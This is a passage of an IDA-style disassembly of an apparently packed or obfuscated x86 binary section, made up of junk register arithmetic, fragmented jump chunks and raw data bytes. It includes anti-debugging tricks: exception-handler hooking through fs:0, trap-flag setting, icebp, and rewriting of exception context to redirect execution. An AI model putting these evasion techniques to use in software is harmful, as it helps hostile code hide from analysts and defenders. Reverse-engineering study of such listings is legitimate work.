		dd 0E9FFFFD3h, 0FFFFCD6Ah, 64670000h, 36FFh, 26896467h
		dd 0FE90000h, 0FFFFB8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E7F8:				; CODE XREF: sub_439ED1+C51j
		or	eax, 0A8CEAB97h
		add	eax, 4545029Dh
		jmp	loc_43C6BA
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43E809:				; CODE XREF: _802izwe5:0043E210j
		pop	edi
		sub	edi, 51C02E66h
		rol	edi, 6
		cmp	edi, 0D2E9AA63h
		jmp	loc_43F150
; ---------------------------------------------------------------------------


loc_43E81E:				; CODE XREF: _802izwe5:00437E7Cj
		add	eax, 0E033D1B5h
		jmp	loc_439EA4
; ---------------------------------------------------------------------------


loc_43E829:				; CODE XREF: _802izwe5:0043CCF0j
		xchg	esi, [esp]
		pop	esi
		mov	byte ptr [edx],	8Bh
		pop	edx
		push	16C88B6Dh
		jmp	loc_43EAC0
; ---------------------------------------------------------------------------
		align 4
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E83D:				; CODE XREF: sub_439ED1+EE4j
		mov	esi, [esi]
		xchg	esi, [esp-1Ch+arg_14]
		call	eax
		jmp	near ptr dword_437CE4+28h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 57h
		dd 3C87FD8Bh, 0E9EC8B24h, 0FFFFD47Fh, 9C07C600h, 6827565Fh
		dd 7E25E694h, 0AD88E95Eh, 8D00FFFFh, 43EC7D05h,	0E7F1E800h
		dd 0BA52FFFFh, 43D936h,	0FFE542E9h, 0F13300FFh,	0FFD776E9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E88A:				; CODE XREF: sub_439ED1+E29j
		db	67h
		icebp
		sbb	edi, 89162CEAh
		jmp	loc_43F504
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		dd 68CC8B00h, 43AEE6h, 0FFAF5FE9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E8A7:				; CODE XREF: sub_43C65A-FB7j
		push	ecx
		jmp	loc_43AD04
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E8AF:				; CODE XREF: _802izwe5:0043FA30j
		pop	ecx
		xor	ecx, 9CE3B1A3h
		add	ecx, 0D6253729h
		push	eax
		push	438721h
		jmp	loc_43888A
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_15. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E8CA:				; CODE XREF: sub_439ED1+5453j
		and	ebx, 0F0B0988Fh
		add	ebx, 5971B706h
		jnb	loc_43F0A0
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E8DE:				; CODE XREF: _802izwe5:004394BFj
		jmp	loc_439193
; ---------------------------------------------------------------------------
		align 4
		dd 9D5E900h, 0E95D0000h, 7ABh
		db 0
; ---------------------------------------------------------------------------


loc_43E8F1:				; CODE XREF: _802izwe5:loc_43EC96j
		xchg	eax, [esp]
		or	eax, 100h
		xchg	eax, [esp]
		popf
		nop
		jmp	near ptr byte_43B3B9+2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D600


loc_43E904:				; CODE XREF: sub_43D600:loc_43B3A5j
		mov	ecx, esp
		add	ecx, 10h
		mov	ecx, [ecx]
		mov	dword ptr [ecx], 10013h
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		jmp	loc_43F1AE
; END OF FUNCTION CHUNK	FOR sub_43D600
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43E92C:				; CODE XREF: _802izwe5:0043E238j
		js	loc_438464
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		xchg	esi, [esp]
		xchg	edx, [esp]
		mov	esi, edx
		pop	edx
		jmp	loc_43E2DF
; ---------------------------------------------------------------------------
		align 4


loc_43E94C:				; CODE XREF: _802izwe5:0043E58Cj
		mov	ecx, [ebp+0]
		jmp	loc_43A6CA
; ---------------------------------------------------------------------------
		dd 0CDC10000h
		db 17h
byte_43E959	db 67h,	64h, 8Fh	; DATA XREF: _802izwe5:0043CA1Ao
		dd 87000006h, 3582404h,	686852C5h, 0E9C9F74Ch, 0FFFFD3CBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43E972:				; CODE XREF: _802izwe5:0043DE60j
		mov	dword ptr [ecx], offset	loc_43F832
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43E97C:				; CODE XREF: sub_43C65A+2004j
		jmp	loc_43EABC
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2
		dw 6467h
		dd 36FFh, 26896467h, 0E0E90000h, 0FFFFCAh
; ---------------------------------------------------------------------------


loc_43E994:				; DATA XREF: sub_439ED1+1FB4o
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_4376E1
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_43D917


loc_43E9B0:				; CODE XREF: sub_43D917+Cj
		jmp	near ptr word_43DB9A
; END OF FUNCTION CHUNK	FOR sub_43D917
; ---------------------------------------------------------------------------
		db 0E9h, 87h, 0E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43E9BA:				; CODE XREF: sub_439ED1+1C96j
		jmp	loc_43F558
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 10h
		dd 0DE3FFA81h, 0E1E9BD35h, 87FFFFF3h, 0C6A1E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_43E9D2:				; CODE XREF: _802izwe5:0043BAA4j
		retn
; ---------------------------------------------------------------------------
		jmp	locret_4394C4
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43E9D9	proc near		; CODE XREF: sub_439ED1+230p
					; sub_439ED1+533j

; FUNCTION CHUNK AT 0043BB8B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043E1A0 SIZE 00000015 BYTES

		xchg	ecx, [esp+0]
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		add	eax, ebp
		add	eax, 324443E7h
		mov	eax, [eax]
		jmp	loc_43E1A0
sub_43E9D9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F3B2


loc_43E9F1:				; CODE XREF: sub_43F3B2-6AE7j
		mov	byte ptr [eax],	8Bh
		xchg	edi, [esp+8+var_8]
		mov	eax, edi
		pop	edi
		pop	eax
		and	eax, 2802005Bh
		jmp	loc_43D976
; END OF FUNCTION CHUNK	FOR sub_43F3B2
; ---------------------------------------------------------------------------
		xor	edi, edx
		pop	ebx


loc_43EA09:				; CODE XREF: _802izwe5:loc_439B01j
		add	edx, 0D0169914h
		pop	eax
		aad	0E8h
		push	ebx
		xchg	eax, ecx
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EA16:				; CODE XREF: sub_439ED1+AB2j
		jmp	loc_43C260
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		shl	esi, 15h
		jmp	sub_43AE83
; ---------------------------------------------------------------------------
		align 4
		dd 243C8700h, 0C015FF5Fh
		db 70h,	42h, 0
; ---------------------------------------------------------------------------


loc_43EA2F:				; CODE XREF: _802izwe5:0043C5FEj
		jmp	loc_43FA94
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EA36:				; CODE XREF: sub_439ED1:loc_43812Fj
		lea	eax, sub_437DA2
		call	loc_43A26E
		jmp	loc_43C733
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438989


loc_43EA47:				; CODE XREF: sub_438989+51ECj
		jmp	nullsub_31
; END OF FUNCTION CHUNK	FOR sub_438989
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D573


loc_43EA4C:				; CODE XREF: sub_43D573+8j
		jmp	loc_43F29C
; END OF FUNCTION CHUNK	FOR sub_43D573
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43C034


loc_43EA52:				; CODE XREF: sub_43C034-D8Fj
		jmp	loc_43ACAC
; END OF FUNCTION CHUNK	FOR sub_43C034
; ---------------------------------------------------------------------------
		align 4
		dd 0DE9FE900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EA5F:				; CODE XREF: sub_439ED1+37Aj
		pop	edi
		jmp	loc_43EF47
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EA67:				; CODE XREF: sub_439ED1:loc_43D828j
		mov	eax, offset loc_4399FF
		jmp	loc_43C358
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EA72:				; CODE XREF: sub_439ED1:loc_43B71Fj
		mov	fs:0, esp
		jmp	loc_43BF6E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2


loc_43EA7E:				; CODE XREF: _802izwe5:0043DD38j
		mov	ebp, [edx]
		sbb	edx, 0C32DD9BFh
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		push	edx
		push	5A27EB7Ch
		pop	edx
		jmp	near ptr dword_43B40C+16h
; ---------------------------------------------------------------------------
		db 2 dup(0)
word_43EA9E	dw 6852h		; DATA XREF: sub_4391DC+6080o
		dd 7C5FD25Ah, 0EC2C15Ah, 9F13F281h, 0C203F496h,	8B240C87h
		dd 0B55FE9D1h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43EABC:				; CODE XREF: sub_43C65A:loc_43E97Cj
		xor	eax, eax
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------


loc_43EAC0:				; CODE XREF: _802izwe5:0043E836j
		jmp	loc_43BAAA
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43EAC7:				; CODE XREF: _802izwe5:0043916Aj
		jmp	loc_43A855
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43EACE	proc near		; CODE XREF: _802izwe5:loc_437E3Fp

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00439D9B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043E74A SIZE 00000006 BYTES

		push	dword ptr fs:0
		mov	fs:0, esp
		jmp	loc_43E74A
sub_43EACE	endp

; ---------------------------------------------------------------------------
		align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS	KEYPAD "+" TO EXPAND]
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43EAE3:				; CODE XREF: _802izwe5:0043838Cj
		jmp	loc_43F869
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43EAE9:				; CODE XREF: sub_438FC9+8p
		push	dword ptr fs:0
		mov	fs:0, esp
; ---------------------------------------------------------------------------
		db 0F0h, 0CCh, 0E9h
; ---------------------------------------------------------------------------
		pop	ds
		mov	dh, 0FFh
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EAFD:				; CODE XREF: sub_439ED1:loc_439226j
		sbb	eax, 0BBC610F4h
		shr	esi, 1Dh
		jmp	loc_43ED1C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		add	ecx, 0A0h
		mov	dword ptr [ecx], offset	loc_43A1A5
		xor	eax, eax
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 67h
		dd 36FF64h, 89646700h, 0E9000026h, 0FFFFEC04h, 38E80000h
		dd 0E9FFFFE3h, 0FFFFAC99h
		db 0
; ---------------------------------------------------------------------------


loc_43EB39:				; CODE XREF: _802izwe5:004395F2j
		and	esi, 0C104B1FBh
		cmp	esi, 60113DC9h
		jmp	loc_43A172
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 0AEBh, 0FFFBE0E9h
		db 0FFh, 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43EB57	proc far		; CODE XREF: _802izwe5:00438080p
					; _802izwe5:0043C223j
		xchg	ecx, [esp+0]
		pop	ecx
		idiv	ecx
		push	offset loc_43DBA2
		jmp	loc_43A630
sub_43EB57	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FDF88100h, 0E9AE5CF4h, 0FFFF9EBCh, 1C70000h, 43E5D6h
		dd 0C359C033h
		db 0
; ---------------------------------------------------------------------------


loc_43EB81:				; CODE XREF: _802izwe5:0043B695j
		jmp	loc_43CC65
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EB87:				; CODE XREF: sub_439ED1+49Bj
		jmp	near ptr dword_43718C+55h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 719E900h, 0
		dd 0AB00E951h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EB9B:				; CODE XREF: sub_439ED1:loc_43A9F8j
		add	eax, 2582A389h
		add	ecx, eax
		pop	eax
		mov	[ecx], eax
		jmp	near ptr dword_437548+0C0h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C0C5


loc_43EBAB:				; CODE XREF: sub_43C0C5+1Cj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43D5A7
; END OF FUNCTION CHUNK	FOR sub_43C0C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EBC0:				; CODE XREF: sub_439ED1:loc_43C340j
		push	ecx
		jmp	near ptr dword_437548+8
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43EBC7:				; CODE XREF: _802izwe5:0043E3C2j
		rol	edx, 1Dh
		xor	edx, 0E7B5A3B4h
		add	ecx, edx
; START	OF FUNCTION CHUNK FOR sub_43F18B


loc_43EBD2:				; CODE XREF: sub_43F18B:loc_43DC16j
		pop	edx
		jmp	loc_43828C
; END OF FUNCTION CHUNK	FOR sub_43F18B
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BFFF


loc_43EBD9:				; CODE XREF: sub_43BFFF+370Aj
		xor	eax, eax
		add	ecx, 4
		call	near ptr sub_43C034
; END OF FUNCTION CHUNK	FOR sub_43BFFF
; START	OF FUNCTION CHUNK FOR sub_43D6F6


loc_43EBE6:				; CODE XREF: sub_43D6F6+7j
		jmp	loc_43CC98
; END OF FUNCTION CHUNK	FOR sub_43D6F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43EBEB:				; CODE XREF: sub_43C65A-6B2j
		jmp	loc_43A45A
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		dd 87CE0300h, 0FF582404h, 4270C015h, 0A38BE900h, 0FFFFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EC04:				; CODE XREF: sub_439ED1:loc_439D59j
					; sub_439ED1:loc_43A6DEj
		call	sub_43E4D7
		add	cl, ch


loc_43EC0B:				; CODE XREF: sub_439ED1+2DF4j
		mov	esi, 0E9FFFF87h
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		dd 0FFFFE7A1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43EC14:				; CODE XREF: sub_43C65A+3FFj
		jmp	loc_4377EB
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_43E3D6


loc_43EC1C:				; CODE XREF: sub_43E3D6:loc_4394F4j
		xor	edi, 59897399h
		or	edi, 8A01EF59h
		xor	edi, 0BA05EF5Bh
		add	ecx, edi
		pop	edi
		mov	[ecx], eax
		push	eax
		jmp	loc_43DC63
; END OF FUNCTION CHUNK	FOR sub_43E3D6
; ---------------------------------------------------------------------------
		db 81h,	0F9h, 4Dh
		dd 0E9B195D4h, 0FFFFFA1Fh, 0C300h
dword_43EC48	dd 0A0D8CB68h, 0FDE858C0h, 0E9FFFF8Fh, 0FFFFFF3Ch
					; DATA XREF: sub_4378C2+3B15o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EC58:				; CODE XREF: sub_439ED1+95j
		add	ecx, 18h
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		mov	dword ptr [ecx], offset	loc_43ED06
		jmp	loc_43804E
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EC7B:				; CODE XREF: sub_439ED1:loc_43A4FFj
		pop	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43EC7D:				; DATA XREF: sub_43F3B2+Ao
		jnz	loc_437E5E
		jnb	loc_43C1DE
		push	esi
		call	loc_43C848


loc_43EC8F:				; CODE XREF: _802izwe5:0043D9FDj
		jmp	loc_43B4DC
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43EC96:				; CODE XREF: _802izwe5:0043C461j
		jmp	loc_43E8F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_45. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C65A


loc_43EC9C:				; CODE XREF: sub_43C65A-F7Fj
		mov	al, [ecx]
		add	ecx, 9Ch
		add	[ecx], al
		add	ecx, 4
		jmp	loc_438DAF
; END OF FUNCTION CHUNK	FOR sub_43C65A
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43ECB2:				; CODE XREF: sub_439ED1+E5Aj
		or	ecx, 21763A95h
		xor	ecx, 280FA832h
		add	ecx, ebp
		add	ecx, 228F2C87h
		jmp	loc_43C706
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
		db 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_43ECCE	proc near		; DATA XREF: sub_43DA03-5C33o

; FUNCTION CHUNK AT 0043C3A9 SIZE 00000005 BYTES

		push	ecx
		mov	ecx, offset loc_438A60
		jmp	loc_43C3A9
sub_43ECCE	endp

; ---------------------------------------------------------------------------
		db 2 dup(0), 1Bh
		dd 0DB66E9D5h, 0FFFFh, 36FF6467h, 64670000h, 2689h, 0D3F7F12Eh
		dd 0FFFC5DE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43ECFA:				; CODE XREF: _802izwe5:004389D1j
		jnb	loc_43D383
		and	edi, 678F6A31h


loc_43ED06:				; DATA XREF: sub_439ED1+4D9Do
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		add	eax, 205C104Ah
		jmp	loc_43F468
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43ED1C:				; CODE XREF: sub_439ED1+4C35j
					; _802izwe5:loc_43F7A4j
		test	ebx, 8628EF88h
		jmp	near ptr dword_43729C+6Dh
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43ED28:				; CODE XREF: sub_439ED1:loc_43B169j
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		add	ecx, 4
		jmp	loc_43CA83
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C3h
		db 0
; ---------------------------------------------------------------------------


loc_43ED49:				; CODE XREF: _802izwe5:0043EF5Fj
		jmp	locret_43DF4B
; ---------------------------------------------------------------------------


loc_43ED4E:				; CODE XREF: _802izwe5:loc_43D540j
		shl	ecx, 5
		sub	ebx, esi
		and	edi, 8F20D068h
		mov	edi, eax
		jmp	loc_43985B
; ---------------------------------------------------------------------------
		push	offset sub_43C169
		jmp	locret_4373EC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43C50C


loc_43ED6C:				; CODE XREF: sub_43C50C:loc_437D94j
		xchg	eax, [esp+8+var_8]
		push	edi
		push	57EB7364h
		pop	edi
		jmp	loc_43F106
; END OF FUNCTION CHUNK	FOR sub_43C50C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437DA2


loc_43ED7B:				; CODE XREF: sub_437DA2:loc_438E91j
		xchg	edi, [esp+4+var_4]
		mov	esi, offset dword_43D614
		jmp	loc_4397CB
; END OF FUNCTION CHUNK	FOR sub_437DA2
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43ED8A:				; CODE XREF: _802izwe5:004383BFj
		mov	byte ptr [ebx],	0FFh
		pop	ebx
		sub	edx, 5B21F5EFh
		test	edx, 1
		jmp	loc_439B01
; ---------------------------------------------------------------------------
		align 10h
		dd 5E243487h, 0C3A76857h, 0FBE9FF4Bh, 0FFFFA2h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EDB0:				; CODE XREF: sub_439ED1-520j
		pushf
		push	4F91CBC1h
		pop	esi
		add	esi, 0D3EE6D75h
		rol	esi, 1
		add	esi, 0B8FF8D98h
		popf
		add	ecx, esi
		jmp	loc_43E117
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
		push	ecx
		jmp	loc_43E6D1
; ---------------------------------------------------------------------------


loc_43EDD4:				; CODE XREF: sub_43CED8+9j
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp]
		call	sub_43DD1C
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E066


loc_43EDE1:				; CODE XREF: sub_43E066+6j
		jmp	loc_43A5F4
; END OF FUNCTION CHUNK	FOR sub_43E066
; ---------------------------------------------------------------------------
		dw 9BE9h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_43EDEB:				; CODE XREF: _802izwe5:00438E53j
		retn
; ---------------------------------------------------------------------------
		dd 0FF9EDEE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EDF2:				; CODE XREF: sub_439ED1:loc_43BA85j
		jmp	loc_43DEB1
; END OF FUNCTION CHUNK	FOR sub_439ED1

; =============== S U B	R O U T	I N E =======================================



sub_43EDF7	proc far		; DATA XREF: _802izwe5:00438E4Eo
		inc	dword ptr [ebp-4]
		call	sub_438CBC
		jmp	loc_43C761
sub_43EDF7	endp

; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43EE05:				; CODE XREF: _802izwe5:0043CA97j
		jbe	loc_43D7B7
		shr	ecx, 1Eh
		xor	ecx, esi
		jmp	loc_43EF35
; ---------------------------------------------------------------------------
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_34. PRESS	KEYPAD "+" TO EXPAND]
		db 0
; ---------------------------------------------------------------------------


loc_43EE19:				; CODE XREF: _802izwe5:00439D71j
		jmp	loc_439A0C
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43EE1F:				; CODE XREF: _802izwe5:0043822Aj
		jmp	loc_439498
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE3C


loc_43EE26:				; CODE XREF: sub_43BE3C:loc_439999j
		xor	esi, 0CCF6597Fh
		sub	esi, 6896ACB0h
		xor	esi, 80783DF0h
		add	esi, 0C61394E6h
		jmp	loc_438772
; END OF FUNCTION CHUNK	FOR sub_43BE3C
; ---------------------------------------------------------------------------


loc_43EE43:				; CODE XREF: _802izwe5:00439493j
		add	esi, 6204B448h
		push	4385A9h
		jmp	loc_43A21F
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EE54:				; CODE XREF: sub_439ED1:loc_43A9FEj
		call	sub_438E1C
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
; ---------------------------------------------------------------------------
		mov	ecx, 0FFFFDBh
; START	OF FUNCTION CHUNK FOR sub_43F688


loc_43EE61:				; CODE XREF: sub_43F688-776Bj
		jo	loc_43B668
		js	loc_43D018
		push	offset byte_43A971
		jmp	locret_43AD90
; END OF FUNCTION CHUNK	FOR sub_43F688
; ---------------------------------------------------------------------------


loc_43EE77:				; CODE XREF: _802izwe5:loc_43D970j
		xchg	eax, [esp]
		or	eax, 100h
		xchg	eax, [esp]
		popf
		nop
		jmp	loc_43A671
; ---------------------------------------------------------------------------
		popf
		jmp	loc_437E49
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EE91:				; CODE XREF: sub_439ED1+1ABj
		mov	[ecx], eax
		add	ecx, 4
		mov	[ecx], eax
		push	edi
		push	33B13352h
		pop	edi


loc_43EEA2:				; CODE XREF: _802izwe5:0043BDE8j
		or	edi, 0F8A9A852h


loc_43EEA8:				; CODE XREF: _802izwe5:loc_439EB7j
		jmp	loc_437C44
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_439ED1


loc_43EEAE:				; CODE XREF: sub_439ED1-B94j
		pop	dword ptr fs:0
		xchg	eax, [esp-1Ch+arg_14]
		pop	eax
		push	ebx
		pushf
		push	0F9B539E7h
		pop	ebx
		jmp	loc_438A48
; END OF FUNCTION CHUNK	FOR sub_439ED1
; ---------------------------------------------------------------------------


loc_43EEC5:				; CODE XREF: _802izwe5:0043F286j
		add	eax, 92EB7B52h
		sub	eax, 0ED133341h
		add	eax, 4D1E7FAFh
		and	eax, 0F8B63999h
		xor	eax, 0B8A6399Dh
		add	ecx, eax
		pop	eax
		mov	[ecx], eax
		jmp	loc_4376F6
; ---------------------------------------------------------------------------

locret_43EEED:				; CODE XREF: _802izwe5:0043C997j
		retn
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43EEEF	proc near		; CODE XREF: sub_43D7EEp
					; _802izwe5:0043F59Cj

; FUNCTION CHUNK AT 004386F9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043CBD1 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		push	eax
		mov	eax, edi
		xchg	eax, [esp+0]
		push	8AA01714h
		pop	edi
		xor	edi, 7028CFBh
		jmp	loc_4386F9
sub_43EEEF	endp

; ---------------------------------------------------------------------------
		dw 0C600h
; ---------------------------------------------------------------------------
		push	es
		call	fword ptr [esi+5Fh]
		or	edi, 291E0E14h
		add	edi, 8EB50E94h
		jmp	loc_43F921
; ---------------------------------------------------------------------------
		xor	eax, eax
		push	esp
		jmp	loc_43BDD5
; ---------------------------------------------------------------------------
		align 2
		push	43D5B3h
		jmp	locret_43D59E
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43EF35:				; CODE XREF: _802izwe5:0043EE10j
					; DATA XREF: _802izwe5:0043D498o
		pop	dword ptr fs:0
		xchg	eax, [esp]
		pop	eax
		call	eax
; START	OF FUNCTION CHUNK FOR sub_4378C2


loc_43EF41:				; CODE XREF: sub_4378C2:loc_43B3C8j
					; _802izwe5:0043E767j
		call	sub_438378
; END OF FUNCTION CHUNK	FOR sub_4378C2
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
